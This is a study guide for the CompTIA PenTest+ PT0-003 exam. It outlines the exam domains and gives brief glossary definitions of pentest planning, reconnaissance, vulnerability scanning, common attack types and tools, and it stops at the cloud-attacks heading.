CompTIA Pentest+ (PT0-003) Guide

AUTHORIZATION BODY: ComPTIA
TEST CONDUCTING BODY: Pearson
Exam Vouncher Fee: $400 USD (Full) and $50 for BETA EXAM

The CompTIA PenTest+ certification exam will certify the successful candidate has the knowledge and skills required to:

- Plan, scope, and perform information gathering as part of a penetration test.
- Perform attacks that are aligned to and fulfill legal and compliance requirements.
- Perform each phase of a penetration test using and modifying appropriate tools and use the appropriate tactics, techniques, and procedures (TTPs).
- Analyze the results of each phase of a penetration test to develop a written report, effectively communicate findings to stakeholders and provide practical recommendations.

EXAM / TEST DETAILS	
REQUIRED EXAM	PT0-003
NUMBER OF QUESTIONS	Maximum of 90
TYPES OF QUESTIONS	Multiple-choice and performance-based Questions
LENGTH OF TEST	235 Minutes for Online, 165 Minutes for Offline
RECOMMENDED EXPERIENCE	3–4 years in a penetration tester job role
PASSING SCORE	750 out of 900 (83.33%)

EXAM OBJECTIVES (DOMAINS)		
#	**DOMAIN NAME**	**PERCENTAGE (%)**
1.0	Engagement Management	13
2.0	Reconnaissance and Enumeration	21
3.0	Vulnerability Discovery and Analysis	17
4.0	Attacks and Exploits	35
5.0	Post-exploitation and Lateral Movement	14
TOTAL		**100**

(P.1) ENGAGEMENT MANAGEMENT

It involves efficiently and effectively organizing and overseeing the various tasks, activities, and resources needed to complete a project, such as a penetration test.

(P.1.1) SUMMARIZE PRE-ENGAGEMENT ACTIVITIES

These are the tasks and preparations before starting the penetration testing. These activities ensure the testing is well-defined, authorized, and aligned with the client's expectations and legal requirements.

1. **SCOPE DEFINITION:** It outlines what the penetration test will cover and the boundaries of the testing activities.

- **REGULATIONS, FRAMEWORKS, AND STANDARDS:** These are guidelines and rules that need to be followed during the test.
    - **Privacy:** Ensuring that personal data is protected.
        - **GDPR (General Data Protection Regulations):** is a legal framework that sets guidelines for collecting and processing personal information from individuals who live in and outside the European Union (EU).
        - **HIPAA (Health Insurance Portability and Accountability Act):** a U.S. federal law that establishes standards for the protection of personal health information, ensures the portability and renewability of health insurance coverage, and promotes electronic transactions in healthcare.
    - **Security:** Ensuring that systems and data are safeguarded against unauthorized access.
        - **ISO/IEC 27001:** an international standard that provides a framework for establishing, implementing, maintaining, and continually improving an information security management system (ISMS) within an organization.
        - **NIST (National Institute of Standards and Technology):** The NIST Cybersecurity Framework is a set of voluntary guidelines that help an organization to identify, detect, respond, and recover from cybersecurity threats and risks.
- **RULES OF ENGAGEMENT (RoE):** The specific guidelines and rules that govern how the test will be conducted.
    - **Exclusions:** Parts of the system or network that will not be tested.
    - **Test cases:** Specific scenarios that will be tested.
    - **Escalation process:** Steps to take if a critical issue is found.
    - **Testing window:** The period during which the test will take place.
- **AGREEMENT TYPES:** Legal documents that define the relationship between the client and the tester.
    - **Non-disclosure agreement (NDA):** Ensures that confidential information is not shared.
    - **Master service agreement (MSA):** Contract covering general terms, conditions & pricing.
    - **Statement of work (SoW):** Detailed description of the work to be performed.
    - **Terms of service (ToS):** General rules and conditions of the service.
- **TARGET SELECTION:** Identifying what will be tested.
    - **Classless Inter-Domain Routing (CIDR) range:** Specific Network IP address ranges.
    - **Domains:** Specific domain names.
    - **Internet Protocol (IP) address:** Specific IP addresses.
    - **Uniform Resource Locator (URL):** Specific web addresses.
- **ASSESSMENT TYPES:** Different areas that can be tested.
    - **Web:** Websites and web applications Security Assessment
    - **Network:** Network Infrastructure Security Assessment
    - **Mobile:** Mobile applications Security Assessment
    - **Cloud:** Cloud-based services Security Assessment
    - **Application programming interface (API):** Interfaces for interacting with software applications Security Assessment
    - **Application:** Software applications Security Assessment
    - **Wireless:** Wireless networks Security Assessment

2. **SHARED RESPONSIBILITY MODEL:** It defines the responsibilities of different parties involved in the test.

- **Hosting provider responsibilities:** Duties of the company providing the hosting service to ensure security
- **Customer responsibilities:** The duties of the client / Organization are to maintain security.
- **Penetration tester responsibilities:** The duties of the penetration tester are to test ethically and securely
- **Third-party responsibilities:** Duties of any third parties involved to comply with the process

3. **LEGAL AND ETHICAL CONSIDERATIONS:** It involves ensuring that the test is conducted lawfully and ethically.

- **Authorization letters:** Documents that grant permission to conduct the test.
- **Mandatory reporting requirements:** Legal obligations to report certain findings.
- **Risk to the penetration tester:** Potential dangers or liabilities for the tester.

(P.1.2) COLLABORATION AND COMMUNICATION ACTIVITIES

These are essential for effective teamwork and achieving shared goals.

- **Peer Review:** It involves colleagues or experts reviewing each other's work to ensure quality, accuracy, and adherence to standards.
- **Stakeholder Alignment:** This means ensuring that all stakeholders (people or groups affected by or involved in a project) agree on goals, strategies, and outcomes.
- **Root Cause Analysis:** Investigating the fundamental reasons behind a problem or issue to prevent its recurrence.
- **Escalation Path:** A predefined process for raising issues to higher levels of authority when they cannot be resolved at lower levels.
- **Secure Distribution:** Safely distributing information, resources, or products to authorized recipients to prevent unauthorized access or tampering.
- **Articulation of Risk, Severity, and Impact:** Clearly expressing the likelihood of a negative event (risk), how serious it is (severity), and its consequences (impact) on a project or organization.
- **Goal Reprioritization:** Adjusting the importance or sequence of goals based on changing circumstances, priorities, or new information.
- **Business Impact Analysis:** Evaluating the effects of a disruption or change on business operations, revenue, reputation, and stakeholders.
- **Client Acceptance:** Confirming that a client or customer approves and acknowledges the deliverables or outcomes of a project or service.

(P.1.3) COMPARE AND CONTRAST TESTING FRAMEWORKS AND METHODOLOGIES

They provide structured approaches to penetration testing.

- **Open Source Security Testing Methodology Manual (OSSTMM):** A comprehensive guide for all types of security assessments.
- **Council of Registered Ethical Security Testers (CREST):** Provides standards and certifications for security testers.
- **Penetration Testing Execution Standard (PTES):** A standard that outlines the stages of penetration testing to perform effective security assessments.
- **MITRE ATT&CK:** A knowledge base of tactics and techniques used by attackers.

- **Open Web Application Security Project (OWASP) Top 10:** A list of the top 10 security risks for web applications.
- **OWASP Mobile Application Security Verification Standard (MASVS):** Standards for securing mobile applications.
- **Purdue model:** A framework for securing industrial control systems by segmenting the network into 6 hierarchical levels.
- **THREAT MODELING FRAMEWORKS:** a structured process to identify, communicate, and understand potential threats and mitigations to protect something valuable.
    - **DREAD:** Evaluate threats based on quantification of the following Damage potential, Reproducibility, Exploitability, Affected users, and Discoverability. It also gives a comprehensive view of the potential impacts.
    - **STRIDE:** Categorizes threats as Spoofing, Tampering, Repudiation, Information disclosure, Denial of service, and Elevation of privilege. It also helps in providing a structural approach to identify vulnerabilities.
    - **OCTAVE:** A risk assessment methodology focusing on identifying and managing information security risks. (Stands for Operationally Critical Threat, Asset, and Vulnerability Evaluation)

(P.1.4) COMPONENTS OF A PENETRATION TEST REPORT

A penetration test report documents the findings and provides recommendations.

- **Format alignment:** Ensuring the report follows a consistent format.
- **Documentation specifications:** a set of guidelines and standards that define how to document the findings.
- **Risk scoring:** quantify the severity of identified vulnerabilities to help the organization prioritize remediation efforts.
- **Definitions:** Explanation of all the terms used concepts in the report.
- **Report components:**
    - **Executive summary:** A high-level overview of the findings and recommendations.
    - **Methodology:** The approach and techniques used in the test.
    - **Detailed findings:** In-depth description of vulnerabilities found.
    - **Attack narrative:** Step-by-step procedure of how the test was conducted.
    - **Recommendations:** Suggested actions to remediate the findings.
        - **Remediation guidance:** Detailed advice on fixing the issues.
- **Test limitations and assumptions:** constraints and conditions that apply to the validity and applicability of assessment.
- **Reporting considerations:**
    - **Legal:** Ensuring the report complies with legal requirements.
    - **Ethical:** Ensuring the report adheres to ethical standards.
    - **Quality control (QC):** Ensuring the report is accurate and reliable.
    - **Artificial intelligence (AI):** Considering the role of AI in the test and report.

(P.1.5) RESULT ANALYSIS AND REMEDIATION RECOMMENDING

Analyzing findings and recommending remediation involves identifying vulnerabilities and suggesting fixes.

- **TECHNICAL CONTROLS:** Measures to protect systems and data.
    - **System hardening:** Securing systems by reducing vulnerabilities.
    - **Sanitize user input/parameterize queries:** Preventing injection attacks.

    - **Multifactor authentication:** Using multiple methods to verify identity.
    - **Encryption:** Protecting data by converting it into a secure format.
    - **Process-level remediation:** Identifying and addressing the root causes of vulnerabilities.
    - **Patch management:** Keeping software and systems up to date.
    - **Key rotation:** Regularly changing encryption keys.
    - **Certificate management:** Managing digital certificates.
    - **Secrets management solution:** Protecting sensitive information.
    - **Network segmentation:** Dividing a network into smaller parts to improve security.
    - **Infrastructure security controls:** Protecting the underlying infrastructure.

- **ADMINISTRATIVE CONTROLS:** Policies and procedures to manage security.
    - **Role-based access control:** Restricting access based on roles.
    - **Secure software development life cycle:** Integrating security into software development.
    - **Minimum password requirements:** Ensuring strong passwords.
    - **Policies and procedures:** Establishing rules and guidelines.

- **OPERATIONAL CONTROLS:** Day-to-day activities to maintain security.
    - **Job rotation:** Changing roles to prevent collusion.
    - **Time-of-day restrictions:** Limiting access to certain times.
    - **Mandatory vacations:** Ensuring employees take time off to detect fraud.
    - **User training:** Educating users on security practices.

- **PHYSICAL CONTROLS:** Measures to protect physical assets.
    - **Access control vestibule:** A secure entryway.
    - **Biometric controls:** Using physical traits for identification.
    - **Video surveillance:** Monitoring physical spaces.

(P.2) RECONNAISSANCE AND ENUMERATION

These are the initial steps in penetration testing where the tester gathers as much information as possible about the target system or network to identify potential vulnerabilities.

(P.2.1) INFORMATION GATHERING TECHNIQUES

Information-gathering techniques involve collecting data about the target to understand its structure, components, and potential weaknesses.

- **Active And Passive Reconnaissance**
    - **Active reconnaissance:** Actively engaging with the target system to gather information, often by sending probes or requests (e.g., scanning ports).
    - **Passive reconnaissance:** Collecting information without directly interacting with the target, often by observing publicly available data (e.g., searching public records).

- **Open-Source Intelligence (Osint):** OSINT refers to gathering information from publicly available sources.
    - **Social media:** Checking social media platforms for information about the target.
    - **Job boards:** Looking at job postings for insights into the technologies and systems used by the target.
    - **Scan code repositories:** Searching for code or configurations related to the target in repositories like GitHub.
    - **Domain Name System (DNS):** Understanding the domain structure and IP addresses.
        - **DNS lookups:** Finding IP addresses associated with domain names.
        - **Reverse DNS lookups:** Finding domain names associated with IP addresses.

    - **Cached pages:** Accessing stored versions of web pages to gather information.
    - **Cryptographic flaws:** Identifying weaknesses in the target's cryptographic implementations.
    - **Password dumps:** Searching for leaked passwords related to the target.

- **Network Reconnaissance**: It involves mapping out the network to understand its structure and identify key components.
- **Protocol Scanning:** It identifies which network protocols are in use.
    - **TCP/UDP:** Checking which TCP and UDP ports are open and what services are running on those ports. (TCP: Transmission Control Protocol / UDP: User Datagram Protocol)

- **Certificate Transparency Logs:** Analyzing public records of digital certificates to gather information about the target's SSL/TLS certificates.
- **Information Disclosure:** refers to the unauthorized release or exposure of sensitive, private, or confidential information.
- **Search Engine Analysis/Enumeration:** gathering information about a target's online presence and digital footprint by leveraging search engines and other web-based tools.
- **Network Sniffing:** Network sniffing means capturing and analyzing network traffic.
    - **IoT and OT Protocols:** Analyzing protocols specific to IoT and OT devices. (IoT: Internet of Things / OT: Operational Technology)

- **Banner Grabbing:** It involves capturing and analyzing messages sent by services when connecting to them to gather information about the service and its version.
- **Hypertext Markup Language (HTML) Scraping:** extracting data from HTML documents using code to parse and extract specific elements, attributes, or text content.

(P.2.2) ENUMERATION TECHNIQUES

Enumeration techniques involve actively probing the target to discover more detailed information.

- **Operating system (OS) fingerprinting:** Determining the target's operating system.
- **Service discovery:** Identifying services running on the target.
- **Protocol enumeration:** Identifying and analyzing network protocols in use.
- **DNS enumeration:** Identifying all the DNS records associated with the target.
- **Directory enumeration:** Discovering directories and files on web servers.
- **Host discovery:** Identifying active devices on the network.
- **Share enumeration:** Identifying shared resources like folders or printers on the network.
- **Local user enumeration:** Identifying user accounts on the target system.
- **Email account enumeration:** Finding email addresses associated with the target.
- **Wireless enumeration:** Discovering wireless networks and devices.
- **Permission enumeration:** Identifying access permissions and privileges.
- **Secrets enumeration:** Discovering sensitive information such as:
    - Cloud access keys
    - Passwords
    - API keys
    - Session tokens

- **Attack path mapping:** Creating a map of potential attack paths within the target.
- **Web application firewall (WAF) enumeration:** Identifying and analyzing WAFs to understand their rules and configurations.
    - **Origin address:** Finding the real IP address behind a WAF.

- **Web crawling:** Systematically browsing the target website to discover all available pages and resources.
- **Manual enumeration:** Manually exploring the target for information.
    - **Robots.txt:** A file that tells search engines which parts of the site to avoid.
    - **Sitemap:** A file that lists all the pages on a website.
    - **Platform plugins:** Identifying plugins and extensions used by the target.

(P.2.3) SCRIPTS MODIFICATION FOR RECONNAISSANCE AND ENUMERATION

It involves customizing existing scripts or writing new ones to gather and analyze information.

- **Information gathering:** Scripts to collect data from various sources.
- **Data manipulation:** Scripts to process and analyze the collected data.
- **Scripting languages:** Common languages used for writing these scripts.
    - **Bash:** A Unix shell and command language.
    - **Python:** A versatile and powerful programming language.
    - **PowerShell:** A task automation and configuration management framework from Microsoft.

- **Logic constructs:** Programming structures used in scripts.
    - **Loops:** Repeating a set of instructions.
    - **Conditionals:** Making decisions based on certain conditions.
    - **Boolean operator:** Logical operations (AND, OR, NOT).
    - **String operator:** Operations on strings of text.
    - **Arithmetic operator:** Mathematical operations (addition, subtraction, etc.).

- **Use of libraries, functions, and classes:** Reusing code and organizing scripts efficiently.

(P.2.4) USING APPROPRIATE TOOLS FOR RECONNAISSANCE AND ENUMERATION

Tools for reconnaissance and enumeration help automate and streamline the information-gathering process.

- **Wayback Machine:** A digital archive of the web that allows you to see past versions of websites.
- **Maltego:** A tool for visualizing and analyzing relationships in collected data.
- **Recon-ng:** an open-source CLI reconnaissance framework written in Python for conducting web-based reconnaissance quickly and thoroughly.
- **Shodan:** A search engine for all the Internet-connected devices.
- **SpiderFoot:** An OSINT automation tool.
- **WHOIS:** A protocol to query databases that store information about domain registration.
- **nslookup/dig:** Tools for querying DNS servers.
- **Censys.io:** A search engine for internet-connected devices that also provides security information.
- **Hunter.io:** A tool to find and verify email addresses related to a target.
- **DNSdumpster:** A tool for DNS enumeration and research.
- **Amass:** An open-source tool for network mapping of attack surfaces and external asset discovery.
- **Nmap:** An open-source tool for network discovery, security auditing, and vulnerability scanning.
    - **Nmap Scripting Engine (NSE):** Extends Nmap's capabilities using scripts.

- **theHarvester:** An open-source tool for gathering email, subdomain, and other OSINT data.
- **WiGLE.net:** a crowdsourced database and mapping service for finding the locations of wireless networks worldwide, allowing users to search, view, and share wireless access points.
- **InSSIDer:** a free and open-source Wi-Fi network scanner, optimizer, and security analyzer.
- **OSINTframework.com:** A collection of tools and resources for OSINT.
- **Wireshark/tcpdump:** Powerful real-time network traffic capturing and analysis tools.
- **Aircrack-ng:** A comprehensive suite of tools for attacking & auditing wireless networks. primarily focused on recovering WEP and WPA/WPA2 encryption keys.

(P.3) VULNERABILITY DISCOVERY AND ANALYSIS

Vulnerability Discovery and Analysis involves identifying, analyzing, and understanding security weaknesses in systems, networks, and applications.

(P.3.1) CONDUCTING VULNERABILITY DISCOVERY

These are methods used to find security flaws in different components of a system or network.

- **TYPES OF SCANS**
  - **Container scans:** Checking containerized environments for vulnerabilities.
    - **Sidecar scans:** Scanning containers by running a security tool alongside the container.
  - **Application scans:** Checking software applications for security weaknesses.
    - **Dynamic application security testing (DAST):** Testing running applications for vulnerabilities by simulating attacks.
    - **Interactive application security testing (IAST):** Integrating security testing into the application runtime to identify vulnerabilities during execution.
    - **Software composition analysis (SCA):** Analyzing the components and dependencies of an application to identify known vulnerabilities.
    - **Static application security testing (SAST):** Analyzing source code for vulnerabilities without executing the code.
      - **Infrastructure as Code (IaC):** Scanning IaC scripts for security issues.
      - **Source code analysis:** Examining the source code for security flaws.
    - **Mobile scan:** Scanning mobile applications for vulnerabilities.
  - **Network scans:** Checking network infrastructure for vulnerabilities.
    - **TCP/UDP scan:** Scanning for open TCP and UDP ports.
    - **Stealth scans:** Scanning techniques that aim to evade detection by security systems.
    - **Host-based scans:** Scanning individual devices for vulnerabilities.
    - **Authenticated vs. unauthenticated scans:**
      - **Authenticated scans:** Scans performed with login credentials to access the system.
      - **Unauthenticated scans:** Scans performed without login credentials, typically providing a less detailed view.
    - **Secrets scanning:** Searching for sensitive information like passwords and API keys in code repositories.
  - **Wireless scans:**
    - **Service set identifier (SSID) scanning:** Identifying wireless networks by their SSIDs.
    - **Channel scanning:** Checking which channels wireless networks are using.
    - **Signal strength scanning:** Measuring the signal strength of wireless networks.
- **INDUSTRIAL CONTROL SYSTEMS (ICS) VULNERABILITY ASSESSMENT:** This involves identifying security flaws in industrial control systems.
  - **Manual assessment:** Manually examining the system for vulnerabilities.
  - **Port mirroring:** Duplicating network traffic to analyze it for security issues.
- **TOOLS:** Various tools are used for vulnerability scanning and assessment:
  - **Nikto:** a web server scanner that checks for potentially dangerous files, outdated server software, and other vulnerabilities.

- **Greenbone/Open Vulnerability Assessment Scanner (OpenVAS):** An open-source comprehensive vulnerability scanning tool to help identify security issues.
- **TruffleHog:** A tool for searching through git repositories for high entropy strings and secrets.
- **BloodHound:** a powerful Active Directory reconnaissance tool that uses graph theory to visualize complex relationships and attack paths within a network
- **Tenable Nessus:** a comprehensive vulnerability assessment tool that identifies vulnerabilities across networks, systems, and applications.
- **PowerSploit:** a collection of Microsoft PowerShell modules used for code execution, script modification, antivirus bypass, and persistence.
- **Grype:** A vulnerability scanner for container images and filesystems.
- **Trivy:** A comprehensive vulnerability scanner for containers.
- **Kube-hunter:** A tool for scanning Kubernetes clusters for security issues.

(P.3.2) SCANS OUTPUT ANALYSIS

It involves validating and understanding the results from the initial phases of penetration testing.

- **Validate scan, reconnaissance, and enumeration results:** Ensuring the accuracy and completeness of the gathered data.
  - **False positives:** Incorrectly identifying a vulnerability that doesn't exist.
  - **False negatives:** Failing to identify an existing vulnerability.
  - **True positives:** Correctly identifying an existing vulnerability.
  - **Scan completeness:** Ensuring the scan covers all relevant parts of the system.
  - **Troubleshooting scan configurations:** Adjusting scan settings to improve accuracy and completeness.
- **Public exploit selection:** Choosing known exploits to test against identified vulnerabilities.
- **Use scripting to validate results:** Write scripts to automate the validation of findings.

(P.3.3) PHYSICAL SECURITY CONCEPTS

These are methods used to protect physical assets from unauthorized access or damage.

- **Tailgating:** Following someone through a secure entry point without authorization.
- **Site surveys:** Assessing a physical location to identify security vulnerabilities.
- **Universal Serial Bus (USB) drops:** Leaving malicious USB devices in public areas, hoping someone will use them and inadvertently compromise their system.
- **Badge cloning:** Copying access badges to gain unauthorized entry to secure areas.
- **Lock picking:** Using tools to unlock physical locks without the original key.

(P.4) ATTACKS AND EXPLOITS

It refers to the combined process of using vulnerabilities (exploits) in systems or networks to gain unauthorized access or cause harm (attack). It involves identifying weaknesses, selecting appropriate tools or methods to exploit them, and executing actions to compromise or manipulate targeted systems, often to gain control, steal data, or disrupt operations.

(P.4.1) ANALYZING OUTPUT TO PRIORITIZE AND PREPARE ATTACKS

1. **Target Prioritization:** Identifying which parts of a system or network are most valuable.
   - **High-Value Asset Identification:** Finding and labeling the most critical or valuable parts of a system.

- **Descriptors and Metrics:** Descriptors are qualitative characteristics that describe an object, while metrics are quantitative measurements used to evaluate performance or progress.
    - **Common Vulnerability Scoring System (CVSS) Base Score:** A score that rates the severity of vulnerabilities.
    - **Common Vulnerabilities and Exposures (CVE):** Identifiers for known vulnerabilities.
    - **Common Weakness Enumeration (CWE):** A list of software weaknesses and vulnerabilities.
    - **Exploit Prediction Scoring System (EPSS):** Predicting the likelihood of an exploit being successful.

- **End-of-Life Software/Systems:** Identifying systems or software that are no longer supported by updates.
- **Default Configurations:** Using settings that come with software or systems out of the box.
- **Running Services:** Identifying services currently active and accessible on a system or network.
- **Vulnerable Encryption Methods:** Identifying weak methods used to encrypt data.
- **Defensive Capabilities:** Understanding how well a system or network can defend against attacks.

2. **Capability Selection:** Choosing the tools and methods best suited for attacking a target.
    - **Tool Selection:** Choosing software tools to use for conducting attacks.
    - **Exploit Selection and Customization:**
        - **Code Analysis:** Reviewing the code of a program or system for vulnerabilities.

    - **Documentation:** Creating a record of the steps and results of an attack.
        - **Attack Path:** Planning the steps of an attack.
        - **Low-Level Diagram Creation:** Drawing a detailed diagram to plan an attack.
        - **Storyboard:** Creating a visual representation of the attack steps.

    - **Dependencies:** Understanding what other programs or systems are needed for an attack.
    - **Consideration of Scope Limitations:** Understanding if the attack is complying with scope.
    - **Labeling Sensitive Systems:** Identifying which system parts are critically important or vulnerable.

(P.4.2) PERFORMING NETWORK ATTACKS

1. **ATTACK TYPES:** Different ways to attack a network.
    - **Default Credentials:** Trying to access a system with the standard username and password.
    - **On-Path Attack:** Intercepting and manipulating the network traffic (a.k.a man-in-the-middle)
    - **Certificate Services:** Attacking AD-CS systems that manage digital certificates to escalate privileges and move laterally within a network.
    - **Misconfigured Services Exploitation:** Exploiting settings of the services that are not properly configured & secured such as default credentials.
    - **Virtual Local Area Network (VLAN) Hopping:** exploiting vulnerabilities in VLAN configuration or implementation to gain unauthorized access to other VLANs on the network.
    - **Multihomed Hosts:** Attacking systems that have multiple network interfaces, allowing them to connect to and communicate through multiple networks simultaneously.
    - **Relay Attack:** intercepting communication between two devices and relaying it to another device without modifications, to trick the receiving device into authenticating the attacker.
    - **Share Enumeration:** identifying and listing all available shares on a network file system.
    - **Packet Crafting:** Creating network packets manually to exploit vulnerabilities.

2. **TOOLS:** Software used to carry out network attacks.

- **Metasploit:** Framework for developing and executing exploits against remote targets.
- **Netcat:** A versatile utility for reading and writing data across network connections.
- **Nmap:** An open-source tool for network discovery, security auditing, and vulnerability scanning.
    - **NSE (Nmap Scripting Engine):** Extends Nmap's capabilities using scripts.
- **Impacket:** Python library for working with network protocols that allow us to implement various protocols, create custom applications, and manipulate traffic.
- **CrackMapExec (CME):** a powerful post-exploitation tool that automates security assessments of Windows/Active Directory environments.
- **Wireshark/tcpdump:** Powerful real-time network traffic capturing and analysis tools.
- **msfvenom:** A payload generator tool that is part of the Metasploit framework.
- **Responder:** A tool used to poison LLMNR, NBT-NS, and mDNS queries to capture NTLMv1/v2 hashes and credentials from systems on a local network.
- **Hydra:** A powerful Parallelized password-cracking tool for remote authentication services.

(P.4.3) PERFORMING AUTHENTICATION ATTACKS

1. **ATTACK TYPES:** Methods for bypassing or obtaining authentication credentials.
    - **Multifactor Authentication (MFA) Fatigue:** occurs when users become overwhelmed and frustrated by the frequent prompts to authenticate and accept one, leading to security risks.
    - **Pass-the-Hash Attacks:** when an attacker uses stolen hash values of another user to authenticate himself as that user without knowing the actual password.
    - **Pass-the-Ticket Attacks:** when an attacker steals and reuses Kerberos tickets of another user to gain unauthorized access to systems or resources.
    - **Pass-the-Token Attacks:** when an attacker uses the stolen but valid authentication ticket of another user to authenticate himself and gain unauthorized access to a system or network.
    - **Kerberos Attacks:** Exploiting vulnerabilities in the Kerberos authentication system.
    - **Lightweight Directory Access Protocol (LDAP) Injection:** Injection attack where malicious LDAP queries are inserted into the application's input fields, giving unauthorized access to attackers to sensitive data or perform other malicious actions on the LDAP server.
    - **Dictionary Attacks:** a type of brute-force attack that uses a pre-compiled list of common passwords or phrases to attempt to gain unauthorized access to a system or account.
    - **Brute-Force Attacks:** an Attack that tries all the possible combinations of passwords until finding the correct one.
    - **Mask Attacks:** a type of brute-force attack that tries to brute force the system or account by trying different combinations of characters to guess the password.
    - **Password Spraying:** a type of brute-force attack where an attacker attempts to gain unauthorized access by using a single common password against multiple user accounts.
    - **Credential Stuffing:** It means using stolen credentials from previous breaches to gain access to other accounts.
    - **OpenID Connect (OIDC) Attacks:** Exploiting vulnerabilities in the OIDC authentication protocol. It can be exploited by CSRF attacks, replay attacks, and IdP-Initiated SSO Attack.
    - **Security Assertion Markup Language (SAML) Attacks:** Exploiting vulnerabilities in the SAML authentication protocol used for Single sign-on (SSOs) to gain unauthorized access.

2. **TOOLS:** Software used to carry out authentication attacks.
    - **CME:** a powerful post-exploitation tool that automates security assessments of Windows/Active Directory environments.
    - **Responder:** A tool used to poison LLMNR, NBT-NS, and mDNS queries to capture NTLMv1/v2 hashes and credentials from systems on a local network.
    - **Hashcat:** a powerful password cracking tool that leverages the GPU Power to efficiently break complex password hashes.

- **John the Ripper:** a free and open-source password cracking tool that can automatically detect password hash types, and supports multiple both dictionary and brute-force modes.
- **Hydra:** A powerful Parallelized password-cracking tool for remote authentication services.
- **BloodHound:** a powerful Active Directory reconnaissance tool that uses graph theory to visualize complex relationships and attack paths within a network
- **Medusa:** A fast, parallel, and modular password-cracking tool that supports many remote authentication services.
- **Burp Suite:** a comprehensive suite of tools for web application security testing that allows pen-testers to manually and automatically identify, exploit, and report security vulnerabilities.

(P.4.4) PERFORMING HOST-BASED ATTACKS

1. **ATTACK TYPES:** Methods for compromising or controlling a specific computer.
    - **Privilege Escalation:** Gaining higher access rights than allowed.
    - **Credential Dumping:** Extracting authentication credentials from a system's memory.
    - **Circumventing Security Tools:** Avoiding detection by security software.
    - **Misconfigured Endpoints:** Exploiting settings that are not properly secured.
    - **Payload Obfuscation:** Hiding the true nature of an attack payload.
    - **User-Controlled Access Bypass:** Finding ways to bypass access controls.
    - **Shell Escape:** Breaking out of a restricted shell environment.
    - **Kiosk Escape:** Breaking out of a locked-down kiosk system like the Fiverr test etc.
    - **Library Injection:** Forcing an application to load a malicious DLL library.
    - **Process Hollowing and Injection:** Process Hollowing means substituting legitimate processes with malicious ones while Process Injection means injecting a malicious process into another legitimate process for execution.
    - **Log Tampering:** Modifying log files to cover tracks and hide unauthorized activity evidence.
    - **Unquoted Service Path Injection:** Exploiting the vulnerability of unquoted service paths to perform malicious activity on misconfigured Windows services.

2. **TOOLS:** Software used to carry out host-based attacks.
    - **Mimikatz:** an open-source tool that allows users to view and save authentication credentials like Kerberos tickets, and extract passwords from memory alongside other attacks.
    - **Rubeus:** a C# toolkit for interacting with and exploiting the Kerberos authentication protocol in Windows Active Directory environments.
    - **Certify:** a C# tool to enumerate and abuse misconfigurations in Active Directory Certificate Services (AD CS).
    - **Seatbelt:** a C# security auditing tool that performs numerous security checks, enumerates system vulnerabilities, and manages host data collection
    - **PowerShell/PowerShell Integrated Scripting Environment (ISE):** Command-line shell and scripting language for Windows.
    - **PsExec:** A command-line tool for executing processes as a different user on other systems.
    - **Evil-WinRM:** a PowerShell-based tool that allows for remote code execution and lateral movement on Windows by abusing the Windows Remote Management (WinRM) service.
    - **Living off the Land Binaries (LOLbins):** These are the legitimate system binaries such as certutil, nslookup, etc that can be used for malicious purposes.

(P.4.5) PERFORMING WEB APPLICATION ATTACKS

1. **ATTACK TYPES:** Methods for exploiting vulnerabilities in web applications.
    - **Brute-Force Attack:** an Attack that tries all the possible combinations of passwords until finding the correct one.

- **Collision Attack:** when an attacker tries to find two different inputs that produce the same hash value, potentially allowing them to forge digital signatures or create hash collisions.
- **Directory Traversal:** A vulnerability that allows accessing files and directories that are outside of the web server's root directory.
- **Server-Side Request Forgery (SSRF):** a vulnerability allowing the attacker to force a server to make unauthorized requests to internal or external resources, exposing sensitive data.
- **Cross-Site Request Forgery (CSRF):** attack where a malicious site tricks a user's browser into performing an unwanted action on a trusted site, where the user is currently logged on.
- **Deserialization Attack:** an attack that occurs when an application deserializes untrusted data, allowing an attacker to execute arbitrary code or perform other malicious actions.
- **Injection Attacks:** attacks that occur when malicious code is inserted into application inputs, allowing attackers to execute unauthorized commands or access sensitive data.
    - **SQL Injection:** when malicious SQL statements are inserted into application queries to manipulate databases, exposing critical data or giving unauthorized access.
    - **Command Injection:** when user input is passed to a system shell without proper sanitization, allowing an attacker to execute arbitrary commands on the server.
    - **Cross-Site Scripting (XSS):** a vulnerability that allows attackers to inject malicious scripts into web pages, enabling them to steal sensitive data or perform unauthorized actions on behalf of a different user. There are three types of XSS attacks:
        - **Reflected XSS**: malicious script is injected into a URL, Non persistent, not stored on web server, exploited via sending URL.
        - **Stored XSS**: Malicious code is stored on the server, Persistent, Stored on web server and executed each time. No URL exploitation needed.
        - **DOM-based XSS**: The vulnerability exists in client-side code rather than server-side code, allowing an attacker to modify the DOM environment and execute malicious scripts.
    - **Server-Side Template Injection (SSTI):** a vulnerability that occurs when user-supplied data is embedded into server-side templates without proper sanitization, allowing attackers to execute arbitrary code on the server.
- **Insecure Direct Object Reference (IDOR):** a vulnerability that occurs when user-supplied input can directly access an object without proper verification or authorization.
- **Session Hijacking:** exploiting a valid computer session, often by intercepting or correctly guessing session ID/Token, to gain unauthorized access to data or services on a computer.
- **Arbitrary Code Execution (ACE):** a type of security vulnerability that allows an attacker to execute any code on a target system, effectively taking control of the system.
- **File Inclusions**: Exploiting vulnerabilities in how web applications include external files to access unauthorized files or execute malicious code on a web server.
    - **Remote File Inclusion (RFI):** Including remote files to perform execute remote code.
    - **Local File Inclusion (LFI):** Including local files on the server to expose critical data.
    - **Web Shell:** uploading and executing a shell script to the server to gain control over it.
- **API Abuse:** unauthorized, excessive, or malicious use of an application programming interface (API) to gain unauthorized access, disrupt services, or extract sensitive data.
- **JSON Web Token (JWT) Manipulation:** attack by modifying the token's payload and signature to gain unauthorized access & control.

2. TOOLS: Software used to carry out web application attacks.

- **TruffleHog:** A tool for searching through git repositories for high entropy strings and secrets.
- **Burp Suite:** a comprehensive suite of tools for web application security testing that allows pen-testers to manually and automatically identify, exploit, and report security vulnerabilities.

- **Zed Attack Proxy (ZAP):** an open-source web application security scanner that can automatically find vulnerabilities during development and testing.
- **Postman:** a popular GUI-based tool used for testing and documenting APIs by making HTTP requests, analyzing responses, and managing environments.
- **sqlmap:** an open-source tool that automates the process of detecting and exploiting SQL injection flaws and taking over database servers.
- **Gobuster/DirBuster:** tools for using brute force to discover hidden files, directories, and URLs within websites by enumerating directories and files.
- **Wfuzz:** a powerful web application fuzzer used to discover common vulnerabilities, and brute force credentials, find hidden content, and test for injection flaws like SQL injection and XSS by fuzzing various parts of an HTTP request.
- **WPScan:** a powerful WordPress security scanner that can identify vulnerabilities in WordPress plugins, themes, and the core WordPress installation.

(P.4.6) PERFORMING CLOUD-BASED ATTACKS

1. **ATTACK TYPES:** Various methods for compromising cloud-based systems.
